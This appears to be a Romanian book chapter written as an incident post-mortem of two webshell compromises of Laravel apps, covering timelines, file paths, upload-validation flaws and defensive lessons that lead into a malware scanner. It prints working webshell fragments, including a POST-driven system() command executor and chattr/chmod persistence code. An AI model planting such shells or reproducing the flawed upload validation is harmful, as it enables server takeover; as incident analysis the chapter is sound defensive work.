ClipCraft și Cetatean.ro: Două atacuri pe care le-am supraviețuit
Acest capitol nu e teorie. E o autopsie.
Între decembrie 2025 și ianuarie 2026, două dintre aplicațiile noastre Laravel de producție au fost compromise. Afaceri reale. Utilizatori reali. Date reale în pericol.
Îți împărtășim tot ce am învățat - cronologia, fișierele, tehnicile - ca să poți recunoaște aceste tipare înainte să devină problema ta.
Nu Era Prima Dată
Înainte de ClipCraft și Cetatean.ro, experimentasem deja un atac similar pe shared hosting. Douăsprezece aplicații Laravel pe un singur cont de hosting—majoritatea compromise cu același malware de spam SEO. Un punct slab, douăsprezece site-uri infectate. Atunci am realizat prima dată: shared hosting-ul îți multiplică riscul. Dar nu am învățat lecția suficient de repede.
Atacul #1: ClipCraft (Decembrie 2025)
ClipCraft este o platformă de creare video alimentată de AI. Construită pe Laravel, ajută creatorii de conținut să genereze automat videoclipuri scurte pentru TikTok, Instagram Reels și YouTube Shorts—complete cu narare AI, subtitrări dinamice și editare automată. Funcționa fără probleme de luni de zile. Apoi a venit Crăciunul.
Cronologie
| Dată | Ora | Eveniment |
|---|---|---|
| Dec 24 | Necunoscută | Backdoor-ul inițial 1e58d74cc1ff.php plantat în /public/ |
| Dec 25 | 02:03 | Primul acces înregistrat de la IP-ul 194.110.207.198 |
| Dec 25-26 | În desfășurare | Atacatorul explorează sistemul de fișiere, încarcă shell-uri adiționale |
| Dec 26 | Dimineața | Directoare de spam SEO create: d2f08/, bb75f/, etc. |
| Dec 26 | După-amiaza | accesson.php copiat în ~15 directoare |
| Dec 27 | Seara | Descoperim breșa din întâmplare |
72+ Ore Nedetectat
Atacatorul a avut acces liber la serverul nostru pentru peste 72 de ore înainte să observăm ceva în neregulă. Nu exista monitorizare. Nicio alertă. Nicio scanare automată.
Fișierele Malware
Iată ce am găsit când am început investigația:
Webshell-ul Principal:
/public/1e58d74cc1ff.php
Acesta era backdoor-ul principal - un webshell complet cu management de fișiere, execuție de comenzi și capabilități de upload.
Shell-uri de Backup:
/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php
Atacatorul a implementat multiple shell-uri de backup cu nume hash randomizate. Dacă găseam și ștergeam unul, celelalte încă funcționau.
Răspânditorul:
accesson.php
Acest fișier a fost copiat în aproximativ 15 directoare din proiect:
/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... și altele
Directoare de Spam SEO:
/public/d2f08/
/public/bb75f/
/public/a9c3e/
Acestea conțineau mii de fișiere HTML cu listări de produse false, spam farmaceutic și link-uri de gambling - toate proiectate să deturneze autoritatea SEO a domeniului nostru.
Tehnici de Atac Folosite
1. Fișiere cu Nume Hash
Fiecare fișier malițios folosea un șir hex aleatoriu ca nume:
1e58d74cc1ff.phpcf7a7e59e4.php98e2628301.php
Asta face detectarea manuală aproape imposibilă. Cum identifici un fișier malițios printre mii când arată ca un fișier cache sau upload temporar?
2. Persistență Multi-Locație
Copiind accesson.php în 15+ directoare, atacatorul s-a asigurat că:
- Ștergerea unei copii nu i-ar opri
- Aveau multiple puncte de intrare
- Cel puțin unul ar supraviețui probabil unei curățări parțiale
3. Auto-Protecție
Webshell-urile includeau mecanisme de auto-protecție:
// Setează permisiunile fișierului la read-only
chmod(__FILE__, 0444);
// Încearcă să seteze flag-ul immutable (Linux)
@shell_exec('chattr +i ' . **FILE**);
// Dezactivează raportarea erorilor
error_reporting(0);
ini_set('display_errors', 0); 4. Comenzi Bazate pe Parametri
Webshell-urile foloseau parametri URL pentru funcții diferite:
?up- Interfață upload fișier?id=xxx- Execută comandă?dl=path- Descarcă fișier?ed=path- Editează fișier
Cum Au Intrat?
Investigația noastră a indicat spre un cont de admin compromis. Atacatorul probabil:
- A obținut credențialele prin phishing sau credential stuffing
- S-a logat în panoul de admin Laravel
- A găsit o funcționalitate de upload cu validare insuficientă
- A încărcat webshell-ul inițial deghizat ca imagine
Punctul de Intrare
Backdoor-ul inițial a fost încărcat printr-o funcționalitate legitimă a
aplicației noastre. Validarea upload-ului verifica tipul MIME dar nu extensia
fișierului în mod riguros. Un fișier numit image.php cu un tip MIME
falsificat a trecut de validare.
Atacul #2: Cetatean.ro (Ianuarie 2026)
Trei săptămâni mai târziu, s-a întâmplat din nou - la un proiect diferit.
Cetatean.ro este o platformă de analiză a știrilor care ajută cetățenii români să-și dezvolte gândirea critică despre media. Numele înseamnă “Cetățean” în română. Folosind evaluare de credibilitate alimentată de AI, permite utilizatorilor să analizeze articole de știri pentru bias și acuratețe. Mizele erau mari—încrederea utilizatorilor și credibilitatea platformei erau în joc.
Descoperirea
Spre deosebire de ClipCraft, nu am descoperit acest atac noi înșine.
Scanner-ul de malware Hostinger a semnalat un fișier suspect:
/storage/app/public/kjrce03dcm.php
Detectare de la Provider-ul de Hosting
Scanner-ul generic al provider-ului nostru de hosting a găsit ce noi am ratat. Dar scanner-ul lor nu e conștient de Laravel - l-a prins doar pentru că tiparul se potrivea cu semnături cunoscute de webshell.
Malware-ul
Fișier: kjrce03dcm.php
Locație: /storage/app/public/
Tip: Webshell compact (variantă China Chopper)
Fișierul era mic - doar aproximativ 4KB - dar extrem de periculos:
<?php
// Dezactivează erorile
@error_reporting(0);
@ini_set('display_errors', 0);
// Acceptă comenzi via POST
if(isset($_POST['cmd'])) {
echo '<pre>';
$cmd = $_POST['cmd'];
// Execută și afișează output-ul
@system($cmd);
echo '</pre>';
}
// Operațiuni pe fișiere via GET
if(isset($_GET['action'])) {
switch($_GET['action']) {
case 'upload': /_ ... _/ break;
case 'download': /_ ... _/ break;
case 'delete': /_ ... _/ break;
}
}
?> Vectorul de Atac
De data aceasta, punctul de intrare era diferit:
- Aplicația avea o funcționalitate de upload public de fișiere pentru documente utilizator
- Upload-ul mergea în
storage/app/public/(accesibil public via symlink) - Validarea verifica dimensiunea fișierului și tipul MIME, dar nu extensia
- Atacatorul a încărcat
kjrce03dcm.phpdirect
Ce Ne-a Salvat
Două lucruri au prevenit daune majore:
- Detectare timpurie - Hostinger l-a semnalat în 48 de ore
- Propagare limitată - Atacatorul nu se răspândise încă în alte directoare
Dar asta a fost noroc, nu pricepere.
Tipare Comune Între Atacuri
Analizând ambele incidente, au apărut tipare clare:
1. Directoare Țintă
Ambele atacuri au țintit directoare accesibile public:
| Director | De Ce E Țintit |
|---|---|
/public/ | Accesibil direct web |
/storage/app/public/ | Accesibil via symlink |
/public/uploads/ | Destinație upload utilizator |
2. Strategii de Nume Fișiere
| Strategie | Exemplu | Scop |
|---|---|---|
| Hash aleatoriu | 1e58d74cc1ff.php | Evită detectarea |
| Nume comun | cache.php | Se integrează |
| Similar cu legitim | config.php.bak | Arată ca backup |
3. Auto-Conservare
Ambele webshell-uri includeau:
- Suprimarea erorilor (prefix
@,error_reporting(0)) - Manipularea permisiunilor (
chmod,chattr) - Copii multiple în locații diferite
4. Fără Monitorizare = Fără Detectare
Niciunul dintre atacuri nu a fost detectat de sistemele noastre. Aveam:
- ❌ Nicio monitorizare a integrității fișierelor
- ❌ Nicio scanare automată de malware
- ❌ Nicio alertă pentru fișiere PHP noi în directoare de upload
- ❌ Nicio unealtă de securitate specifică Laravel
Lecții Învățate
Lecția 1: PHP Nu Ar Trebui Să Existe Niciodată în Directoare de Upload
Regula de Aur
Nu există NICIODATĂ un motiv legitim pentru ca un fișier .php să existe în:
/storage/app/public/-/public/uploads/- Orice director de upload utilizator
Dacă un fișier PHP apare acolo, e malware. Punct.
Lecția 2: Tiparele Numelor de Fișiere Contează
Numele de fișiere bazate pe hash precum 1e58d74cc1ff.php sunt aproape întotdeauna malițioase. Fișierele Laravel legitime au nume lizibile.
Lecția 3: Un Backdoor Devine Multe
Atacatorii nu se opresc la un singur punct de intrare. Creează imediat backup-uri și se răspândesc în alte locații. Găsirea unui fișier malițios înseamnă că probabil sunt mai multe.
Lecția 4: Verificarea Manuală Nu Scalează
Aveam mii de fișiere PHP în aceste proiecte. Inspecția manuală era imposibilă. Aveam nevoie de automatizare.
Lecția 5: Scannerele Generice Nu Sunt Suficiente
Scanner-ul Hostinger a găsit kjrce03dcm.php pentru că se potrivea cu o semnătură cunoscută. Dar ar fi ratat:
- Cod obfuscat
- Vectori de atac specifici Laravel
- Service providers malițioși
- Fișiere de rute compromise
Lecția 6: Shared Hosting-ul Multiplică Riscul
Îți amintești atacul pe care l-am menționat la început? Înainte de ClipCraft și Cetatean.ro, douăsprezece aplicații pe shared hosting au fost compromise dintr-o singură lovitură. Pe shared hosting, o singură aplicație vulnerabilă poate duce la infectarea tuturor—fie prin contaminare între conturi, fie pur și simplu pentru că atacatorii scanează toate site-urile de pe același IP.
Dacă rulezi mai multe aplicații Laravel pe shared hosting, împart același pool de risc. O verigă slabă compromite totul.
Nașterea Acestui Proiect
Aceste două atacuri - la trei săptămâni distanță unul de altul - ne-au forțat să acționăm.
Nu puteam continua să sperăm că vom fi norocoși. Aveam nevoie de:
- Scanare automată care înțelege structura Laravel
- Monitorizare în timp real care ne alertează despre amenințări noi
- Detectare de semnături pentru tipare de malware cunoscute
- Analiză comportamentală pentru amenințări necunoscute
- Zero false positive-uri ca să putem avea încredere în alerte
De aceea am construit Laravel Malware Scanner.
Și de aceea îți împărtășim această carte - ca să poți învăța din greșelile noastre în loc să le faci pe ale tale.
Următorul: Capitolul 3 - Cei 6 Vectori de Atac Comuni în Laravel →
În următorul capitol, vom examina cele mai comune moduri prin care atacatorii compromit aplicațiile Laravel - inclusiv CVE-urile critice pe care trebuie să le cunoști.